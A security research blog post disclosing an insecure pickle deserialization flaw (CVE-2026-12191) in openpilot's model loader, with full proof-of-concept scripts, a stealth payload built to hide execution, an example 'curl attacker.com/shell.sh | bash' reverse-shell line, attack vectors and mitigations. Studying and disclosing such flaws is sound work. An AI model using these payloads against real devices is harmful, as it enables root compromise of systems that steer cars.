[EN] Build Your Nightmare – Dissecting CVE-2026-12191

Escrito por  Thiago Bispo

Summary

As the global autonomous vehicle market grows, the security of critical driver assistance systems may be hanging by a thread. Our recent research exposed a systemic flaw that turns the sophistication of artificial intelligence into the vehicle’s biggest vulnerability point.

The Hakai Yokai Research Team has identified CVE-2026-12191, a critical insecure deserialization vulnerability within openpilot, a widely adopted ecosystem that controls vital functions such as braking, acceleration, and steering in over 275 vehicle models.

By using an insecure module in the Python ecosystem (pickle), the system allows an attacker to achieve remote code execution (RCE) with root privileges. In commercial and operational terms, this means opening a physical “backdoor” to control the automobile to do whatever they want, including intentional accidents and harm to human life. This blogpost dissects the vulnerability, showing how the attack chain works, the proof of concept, the impacts, and how to prevent the system from becoming vulnerable.

Introduction

Autonomous driving systems ceased to be fiction a long time ago and have now become the consumer dream of many people. According to Statista, the autonomous vehicle market is expected to surpass 2 trillion dollars by 2030 [1].

The systems of these vehicles run on off-the-shelf hardware, inside production cars, controlling braking, acceleration, and steering continuously. Behind this autonomy is a complex software chain: neural networks, computer vision pipelines, inter-process communication, and Over The Air (OTA) updates.

The more this chain grows, the larger the attack surface becomes, and often, basic and old primitives of the Python ecosystem appear as the weakest link.

Our team found a security flaw (CVE-2026-12191) in the driving assistance system, through the way it deserializes objects. This blogpost details how the vulnerability occurs, how it can be exploited, and its impact on the autonomous car industry.

Openpilot

Openpilot [2] is a Level 2 driver assistance system developed by comma.ai [3]. It replaces (or complements) the factory Advanced Driver Assistance Systems (ADAS) in over 275 models of cars including Toyota, Honda, Hyundai, Kia, Subaru, and Chevrolet, by implementing functionalities such as:

  • Lane Centering Assist (Lateral ACC): keeps the car in the center of the lane.
  • Adaptive Cruise Control (Longitudinal ACC): controls acceleration and braking based on traffic.
  • Driver Monitoring: monitors the driver via an infrared camera.
  • Mapping and trajectory prediction: via neural networks that run in real-time over camera frames.

The software runs on dedicated hardware sold by comma.ai itself, currently the comma 3X, which is plugged into the vehicle’s OBD-II/harness port. Internally, the device is an ARM System-on-a-Chip (SoC) running a customized Linux distribution (AGNOS), with openpilot running as the main application. Critical processes, including modeld, which executes the vision model that decides the trajectory, run with elevated privileges.

The project is also an academic and industrial reference, with several projects based on it (MADS, FrogPilot, sunnypilot, etc.), cited in ADAS research articles, and used by enthusiasts and companies to collect driving data at scale.

In general, openpilot is an open-source software that physically drives cars autonomously on the streets. Any security flaw in the execution path has implications far beyond data confidentiality.

Insecure Deserialization

To explain insecure deserialization [4] of an object, an analogy will be used. Serializing an object is like wrapping a package: you take something that exists in memory, a dictionary, a class instance, or an object graph, and transform it into a sequence of bytes “wrapped” to fit on disk, in a socket, or a network message. Deserializing is opening this gift on the other side and reassembling the original object.

Imagine an application that creates an object representing a user:

class User:
    def __init__(self, name, age):
        self.name = name
        self.idade = age

user = User("Ana", 25)

While the program is running, this object remains only in RAM. If the program is terminated, it disappears. To preserve it, we can serialize it. Serialization traverses the object and transforms its structure into a sequence of bytes or text.

Pickle [5] was created specifically to handle object serialization in Python. It transforms an object into bytes (which can be saved in a .pkl object) using the dumps function:

import pickle

data = {
    "name": "Ana",
    "age": 25
}

serialized = pickle.dumps(data)

To retrieve the object, just use the loads function:

object = pickle.loads(serialized)

The problem is what is inside the wrapping. When you already know what’s inside the package, it comes from someone you trust, you expect to find an object on the other side. But what if the wrapping doesn’t come with a guaranteed sender? What if anyone can put an identical box at your door, with the same tape, the same paper, and inside, instead of the object you are expecting, there is a bomb that goes off as soon as you lift the lid? This is exactly what happens in an insecure deserialization vulnerability. 

In Pickle, the problem occurs when the bytes do not form a passive data envelope: it is a list of assembly instructions that the Python interpreter executes while “opening” the file. A .pkl can say “to reconstruct this object, first call os.system(‘curl attacker.com/shell.sh | bash’), then return the result” (which would result in the download and execution of a reverse shell) and Python executes it even before the application inspects the content. Just opening and executing what the serialized object contains is a risk of malicious code execution.

This means that a serialized file coming from an unauthenticated source should not be treated with the same distrust that you would treat an anonymous package left at the gate. The package should not be opened immediately; first, you should verify who sent it, check if the box has not been violated along the way (integrity hash), and, ideally, change the format to one that is only inert data, without an immediate execution mechanism embedded. In the Pickle documentation itself, there is a warning that “the pickle module is not secure” and that deserialization should only be performed on reliable objects.

The Danger in modeld

Module modeld (selfdrive/modelid/models/modeld.py) is an Openpilot process that loads the neural vision model and produces the trajectory the car will follow. To do this, it deserializes .pkl files (without any validation) using the Pickle library. There are at least 14 calls to pickle.load() / pickle.loads() scattered throughout the model pipeline, all without restriction, signature checking, or integrity hash. In Openpilot version 0.11.1., the critical points are in the following excerpts:

Metadata in the three models:

# modeld.py:149-150  — vision model metadata
with open(VISION_METADATA_PATH, 'rb') as f:
    vision_metadata = pickle.load(f)        # <-- no validation

# modeld.py:156-157  — off-policy model metadata
with open(OFF_POLICY_METADATA_PATH, 'rb') as f:
    off_policy_metadata = pickle.load(f)    # <-- no validation

# modeld.py:162-163  — on-policy model metadata
with open(ON_POLICY_METADATA_PATH, 'rb') as f:
    policy_metadata = pickle.load(f)        # <-- no validation

Individual lines: 149, 156, 162 open the file; 150, 157, 163 perform pickle.load.

Neural graphs assembled via chunks:

# modeld.py:190
self.vision_run     = pickle.loads(read_file_chunked(str(VISION_PKL_PATH)))

# modeld.py:191
self.policy_run     = pickle.loads(read_file_chunked(str(ON_POLICY_PKL_PATH)))

# modeld.py:192
self.off_policy_run = pickle.loads(read_file_chunked(str(OFF_POLICY_PKL_PATH)))

Here pickle.loads receives bytes coming from read_file_chunked, any chunk altered on the disk translates into executed code.

Dynamic path built from camera dimensions (ModelState.run):

# modeld.py:206 — w, h come from VisionBuf (IPC)
w, h = bufs[key].width, bufs[key].height

# modeld.py:208 — path built by f-string from w/h
warp_path = MODELS_DIR / f'warp_{w}x{h}_tinygrad.pkl'

# modeld.py:209-210
with open(warp_path, "rb") as f:
    self.update_imgs = pickle.load(f)        # <-- no validation

This is the most interesting sink: the name of the file to be deserialized depends on values (modeld.py:206) coming via VisionIPC, so an attacker who manages to influence width/height can redirect the pickle.load on line 210 to a previously planted .pkl.

Summary of sinks in modeld.py:

LineCallSource of Bytes
150pickle.load(f)VISION_METADATA_PATH (disk)
157pickle.load(f)OFF_POLICY_METADATA_PATH (disk)
163pickle.load(f)ON_POLICY_METADATA_PATH (disk)
190pickle.loads(…)read_file_chunked(VISION_PKL_PATH)
191pickle.loads(…)read_file_chunked(ON_POLICY_PKL_PATH)
192pickle.loads(…)read_file_chunked(OFF_POLICY_PKL_PATH)
210pickle.loads(f)warp_{w}x{h}_tinygrad.pkl (dynamic path via IPC)

Proof of Concept (PoC)

Pickle executes code during deserialization via the __reduce__ protocol. Creating a malicious .pkl file is trivial:

import os, pickle

class Payload:
    def __reduce__(self):
        return (os.system, ('id > /tmp/PWNED.txt',))

with open('malicious_metadata.pkl', 'wb') as f:
    pickle.dump(Payload(), f)

From the victim’s side, modeld does exactly that, without any prior verification:

with open(VISION_METADATA_PATH, 'rb') as f:
    vision_metadata = pickle.load(f)   # a payload executa aqui

Replacing selfdrive/modeld/models/driving_vision_metadata.pkl with the pkl file generated above is sufficient to confirm RCE:

$ cat /tmp/PWNED.txt
uid=0(root) gid=0(root) groups=0(root)

There is no sanitization, class whitelisting, signature verification, or hash verification at any point before this line.

To identify this vulnerability, a minimalist ADAS system was emulated, with only the deserialization functionality found in Openpilot, using a simple Python code (simulate_victim.py):

#!/usr/bin/env python3
"""
===========================================================================
  VICTIM SIDE — simulate_victim.py
  Simulates EXACTLY what openpilot's modeld does with pickle.load()
===========================================================================

This script replicates the vulnerable code path from:
  selfdrive/modeld/modeld.py  — ModelState.__init__(), lines 149-163, 190-192, 210

It loads the attacker's malicious pickle using the SAME calls that
openpilot uses, proving that arbitrary code execution occurs during
deserialization with zero validation.

USAGE:
    python generate_payload.py    # first, create the payloads
    python simulate_victim.py     # then, simulate the victim loading them

NO DEPENDENCIES from openpilot are needed — this is self-contained.
"""

import pickle
import os
import sys

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PAYLOAD_DIR = os.path.join(SCRIPT_DIR, "payloads")
MARKER_FILE = os.path.join(PAYLOAD_DIR, "PWNED.txt")

def cleanup():
    """Remove marker from previous runs"""
    if os.path.exists(MARKER_FILE):
        os.remove(MARKER_FILE)

def simulate_modeld_metadata_load(pkl_path: str) -> dict:
    """
    === THIS IS THE EXACT VULNERABLE PATTERN FROM modeld.py ===

    Source: selfdrive/modeld/modeld.py, ModelState.__init__(), line 149-150:

        with open(VISION_METADATA_PATH, 'rb') as f:
            vision_metadata = pickle.load(f)         # <-- HERE

    No RestrictedUnpickler. No signature check. No hash validation.
    Just raw pickle.load() on a file from disk.
    """
    print(f"  [modeld] Loading metadata from: {pkl_path}")
    print(f"  [modeld] Calling pickle.load(f)...")

    with open(pkl_path, 'rb') as f:
        metadata = pickle.load(f)    # <-- VULNERABLE CALL (identical to modeld.py:150)

    return metadata

def simulate_modeld_chunked_load(pkl_path: str):
    """
    === SECOND VULNERABLE PATTERN FROM modeld.py ===

    Source: selfdrive/modeld/modeld.py, ModelState.__init__(), line 190:

        self.vision_run = pickle.loads(read_file_chunked(str(VISION_PKL_PATH)))

    The file is read as raw bytes (possibly reassembled from chunks)
    and then directly deserialized. Same vulnerability.
    """
    print(f"  [modeld] Loading chunked model from: {pkl_path}")
    print(f"  [modeld] Calling pickle.loads(data)...")

    # Simulates read_file_chunked() — just reads the file bytes
    with open(pkl_path, 'rb') as f:
        data = f.read()

    result = pickle.loads(data)    # <-- VULNERABLE CALL (identical to modeld.py:190)
    return result

def main():
    print("=" * 60)
    print("  CWE-502 PoC — VICTIM SIMULATION")
    print("  Simulating openpilot modeld pickle.load()")
    print("=" * 60)

    # Check payloads exist
    payload_simple = os.path.join(PAYLOAD_DIR, "malicious_metadata.pkl")
    payload_stealth = os.path.join(PAYLOAD_DIR, "malicious_metadata_stealth.pkl")

    if not os.path.exists(payload_simple):
        print("\n[!] Payloads not found. Run generate_payload.py first.")
        sys.exit(1)

    cleanup()

    # =====================================================================
    # TEST 1: Simple info exfil payload via pickle.load() (file handle)
    # Exploits: modeld.py line 150 — pickle.load(f)
    # =====================================================================
    print("\n" + "-" * 60)
    print("TEST 1: pickle.load(f) — metadata loading path")
    print("  Vulnerable code: modeld.py:150")
    print("    with open(VISION_METADATA_PATH, 'rb') as f:")
    print("        vision_metadata = pickle.load(f)")
    print("-" * 60)

    result1 = simulate_modeld_metadata_load(payload_simple)
    print(f"  [modeld] pickle.load() returned: {type(result1)}")

    # Check if code executed
    if os.path.exists(MARKER_FILE):
        print(f"\n  [!!!] ARBITRARY CODE EXECUTION CONFIRMED")
        print(f"  [!!!] Marker file created at: {MARKER_FILE}")
        print(f"\n  Contents of {MARKER_FILE}:")
        print("  " + "-" * 50)
        with open(MARKER_FILE, 'r') as f:
            for line in f:
                print(f"  {line}", end='')
        print("\n  " + "-" * 50)
    else:
        print("  [?] Marker not found (payload may use different proof)")

    # =====================================================================
    # TEST 2: Stealth payload via pickle.loads() (bytes, chunked path)
    # Exploits: modeld.py line 190 — pickle.loads(read_file_chunked(...))
    # =====================================================================
    print("\n" + "-" * 60)
    print("TEST 2: pickle.loads(bytes) — chunked model loading path")
    print("  Vulnerable code: modeld.py:190")
    print("    self.vision_run = pickle.loads(read_file_chunked(...))")
    print("-" * 60)

    if os.path.exists(payload_stealth):
        result2 = simulate_modeld_chunked_load(payload_stealth)
        print(f"  [modeld] pickle.loads() returned: {type(result2)}")
        if isinstance(result2, dict):
            print(f"  [modeld] Keys: {list(result2.keys())}")
            if 'input_shapes' in result2:
                print(f"  [!!!] STEALTH PAYLOAD: returned VALID metadata dict")
                print(f"  [!!!] modeld would continue running normally — NO CRASH")
                print(f"  [!!!] Attacker code ran silently during deserialization")

        # Check updated marker
        if os.path.exists(MARKER_FILE):
            print(f"\n  Updated marker file contents:")
            print("  " + "-" * 50)
            with open(MARKER_FILE, 'r') as f:
                for line in f:
                    print(f"  {line}", end='')
            print("\n  " + "-" * 50)

    # =====================================================================
    # RESULTS
    # =====================================================================
    print("\n" + "=" * 60)
    print("  RESULTS")
    print("=" * 60)

    exploited = os.path.exists(MARKER_FILE)
    if exploited:
        print(""" [CONFIRMED] CVE-2026-12191 """)
    else:
        print("  [?] Exploitation could not be confirmed. Check payloads.")

    return 0 if exploited else 1

if __name__ == "__main__":
    sys.exit(main())

To simulate exploiting the vulnerability, simply create malicious .pkl artifacts inside a folder called “payloads” that will be loaded by the script. To generate these artifacts, the script below (generate_payload.py) can be used. It will generate two .pkl objects: one that can crash Openpilot by not returning the expected value (payload 1) and another that is stealth, meaning it will run and return a simulated value to whoever called the function, making it impossible to detect that an attack has been made (payload 2).

#!/usr/bin/env python3
"""
===========================================================================
  ATTACKER SIDE — generate_payload.py
  CVE-2026-12191: Insecure Deserialization in commaai/openpilot modeld
===========================================================================

This script generates malicious pickle files that, when loaded by openpilot's
modeld via pickle.load() or pickle.loads(), execute arbitrary code.

"""

import pickle
import os

PAYLOAD_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "payloads")
os.makedirs(PAYLOAD_DIR, exist_ok=True)

MARKER_FILE = os.path.join(PAYLOAD_DIR, "PWNED.txt")


# =========================================================================
# PAYLOAD 1: Info Exfiltration (safe, proves RCE)
# =========================================================================
# When pickle deserializes this, it calls os.system() with the shell command.
# On a comma device this runs as root.

class InfoExfilPayload:
    """
    pickle's __reduce__ protocol: when unpickled, Python calls:
        os.system(<shell_command>)
    This gives us full arbitrary code execution.
    """
    def __reduce__(self):
        # This code runs during pickle.load() — before modeld even checks the return value
        # We use os.system to write a marker file proving execution
        marker = MARKER_FILE.replace("\\", "/")
        cmd = (
            f'python -c "'
            f"import os,sys,datetime,socket,platform;"
            f"marker={marker!r};"
            f"f=open(marker,'w');"
            f"f.write('='*60+'\\n');"
            f"f.write('  CVE-2026-12191 EXPLOITED - ARBITRARY CODE EXECUTION\\n');"
            f"f.write('='*60+'\\n');"
            f"f.write('Timestamp: '+str(datetime.datetime.now())+'\\n');"
            f"f.write('User: '+os.getenv('USER',os.getenv('USERNAME','unknown'))+'\\n');"
            f"f.write('Hostname: '+socket.gethostname()+'\\n');"
            f"f.close();"
            f"print('[PAYLOAD] Code executed! Marker written to '+marker)"
            f'"'
        )
        return (os.system, (cmd,))


# =========================================================================
# PAYLOAD 2: STEALTH — executes code AND returns valid metadata dict
# =========================================================================
# This is the most dangerous variant. It:
#   1. Runs arbitrary code during deserialization
#   2. Returns a dict that LOOKS like valid model metadata
#   3. modeld continues running normally — no crash, no detection
#
# The attacker can silently exfiltrate data, install a backdoor, or
# manipulate model outputs while the car appears to function normally.

class StealthPayload:
    """
    Uses a chained approach: eval() runs code, then returns a
    legitimate-looking metadata dictionary so modeld doesn't crash.
    """
    def __reduce__(self):
        # We abuse eval to run side effects AND return a value.
        # This is the most dangerous variant: silent code execution + valid return.
        marker = MARKER_FILE.replace("\\", "/")
        # eval expression: writes marker as side-effect, returns dict
        expr = (
            "("
            "__import__('builtins').open(" + repr(marker) + ",'a').write("
            "'\\n[STEALTH] Executed at '+str(__import__('datetime').datetime.now())+'\\n'"
            "+'[STEALTH] PID='+str(__import__('os').getpid())+'\\n'"
            "+'[STEALTH] Returning fake metadata - modeld will NOT crash\\n'"
            "),"
            "{"
            "'model_checkpoint':'malicious_v1.0',"
            "'output_slices':{'plan':__import__('builtins').slice(0,4955),'lane_lines':__import__('builtins').slice(4955,5219)},"
            "'input_shapes':{'input_img':(1,12,128,256),'calib':(1,3)},"
            "'output_shapes':{'outputs':(1,5547)}"
            "}"
            ")[-1]"
        )
        return (eval, (expr,))


# =========================================================================
# Generate payload files
# =========================================================================
def main():
    print("=" * 60)
    print("  CVE-2026-12191 PoC — Generating malicious pickle payloads")
    print("  Target: commaai/openpilot selfdrive/modeld/modeld.py")
    print("=" * 60)

    # Payload 1: Info exfil
    path1 = os.path.join(PAYLOAD_DIR, "malicious_metadata.pkl")
    with open(path1, "wb") as f:
        pickle.dump(InfoExfilPayload(), f, protocol=2)
    size1 = os.path.getsize(path1)
    print(f"\n[+] Payload 1 (Info Exfil):  {path1}  ({size1} bytes)")

    # Payload 2: Stealth
    path2 = os.path.join(PAYLOAD_DIR, "malicious_metadata_stealth.pkl")
    with open(path2, "wb") as f:
        pickle.dump(StealthPayload(), f, protocol=2)
    size2 = os.path.getsize(path2)
    print(f"[+] Payload 2 (Stealth):    {path2}  ({size2} bytes)")

    print(f"\n[*] Payloads ready. Now run: python simulate_victim.py")
    print(f"[*] Or copy any .pkl to the comma device's models/ dir.\n")

if __name__ == "__main__":
    main()

After first executing the payload generation script and then the victim simulation script (vulnerable system), the response from the command execution is obtained, confirming the vulnerability:

  ============================================================
    CVE-2026-12191 EXPLOITED - ARBITRARY CODE EXECUTION
  ============================================================
  Timestamp: 2026-06-30 10:18:18.369978
  User: Bispo
  Hostname: dell-notebook
  
  [STEALTH] Executed at 2026-06-30 10:18:18.384664
  [STEALTH] PID=25588
  [STEALTH] Returning fake metadata - modeld will NOT crash

How it can be exploited

To execute the exploit, the attacker needs to write the file to the right place, which is the modules directory. There are at least two possible attack vectors for deserialization exploitation: physical access via USB, logical access via SSH on a shared network, or Supply Chain.

Physical Access via USB:

This is the most direct path and probably the most realistic for an opportunistic attacker.

  • Prerequisites: Physical access to the Comma 3X for a few minutes via a USB-C cable.
  • Attack chain: The attacker generates the malicious .pkl, connects the device via USB, transfers the file, and replaces the legitimate one. On the next boot, the payload runs as root.

Logical Access via SSH on a shared network:

This vector is a variant of the previous one, but without needing to touch the car.

  • Prerequisites: Being on the same Wi-Fi network as the comma 3X, plus SSH credentials.

Impacts

Exploiting this vulnerability allows an attacker to remotely execute code (RCE) with elevated privileges, granting them complete control of the device running the operating system.

Unlike a vulnerability in a web application, where the “pot of gold” is personal data or access keys to other assets, in the case of autonomous cars the impact could compromise people’s lives. Since the modeling process controls the car’s steering and acceleration, an attacker with access could intentionally cause an accident by making turns, locking the brakes, or accelerating the car.

There is also the possibility of espionage: the device has cameras (front and driver-facing), GPS, and a microphone. An intruder could record routes, conversations, and internal images of the vehicle without anyone noticing, useful for both common crime (planning kidnapping, robbery) and targeted surveillance (journalists, executives, authorities).

Another impact involves the attacker managing to compromise the manufacturer’s update channel (supply chain scenario); a single action simultaneously compromises the entire fleet of cars that receive that update, potentially dozens of cars on the road at the same time.

In addition to the direct harm to life, this scenario creates exposure to lawsuits for civil liability, class action lawsuits from consumers, investigations by regulatory bodies, immediate loss of trust from the customer base, and reputational damage.

Responsible Disclosure

The vulnerability was forwarded to the vendor through official channels with no response after one month. Disclosure was then made to VulnDB, and after two months of initial contact attempts, the vulnerability was published as CVE-2026-12191.

How to prevent the attack

Mitigation involves reformulating the parts of the code where deserialization occurs:

  1. Replace pickle with a secure format: safetensors, native ONNX, flatbuffers, or MessagePack with a schema.
  2. Cryptographically sign the artifacts: Ensure that .pkl objects, chunks, and manifests are signed and verified before any pickle.load.
  3. Restrict deserialization: Use RestrictedUnpickler with an explicit class whitelist.
  4. Integrity validation: Verify chunk integrity (via SHA-256 hashes) before reassembling and deserializing.

Conclusion

The CVE-2026-12191 case goes beyond insecure deserialization: it mirrors the inherent weaknesses in the rapid adoption of autonomous technologies in critical systems. When vehicles are transformed into computers on wheels, the vast attack surface of modern software is inherited by the system.

The exposed vulnerability demonstrates that, even in revolutionary and widely adopted open-source projects, the reliance on inherently insecure modules, such as the pickle, can undermine years of technological advancement, putting lives at risk.

The future of mobility depends on transitioning from an “innovate at all costs” culture to one of “secure development by design.” As we have seen, the dream of an autonomous car can turn into a nightmare through the exploitation of a simple vulnerability.

In the end, technology evolves exponentially, but the fundamental security lessons remain immutable: never trust external input data and always build on the premise that security is not a layer, but the foundation of the entire system.

Where to practice

Hacking Club is a training platform focused on developing cybersecurity professionals. The Pilot challenge simulates a service with the vulnerability referenced in this article and can be used to consolidate the knowledge presented.

References

[1] https://www.statista.com/statistics/1224515/av-market-size-worldwide-forecast/

[2] https://github.com/commaai/openpilot

[3] https://comma.ai/

[4] https://cwe.mitre.org/data/definitions/502.html

[5] https://docs.python.org/3/library/pickle.html

Logo da Hakai.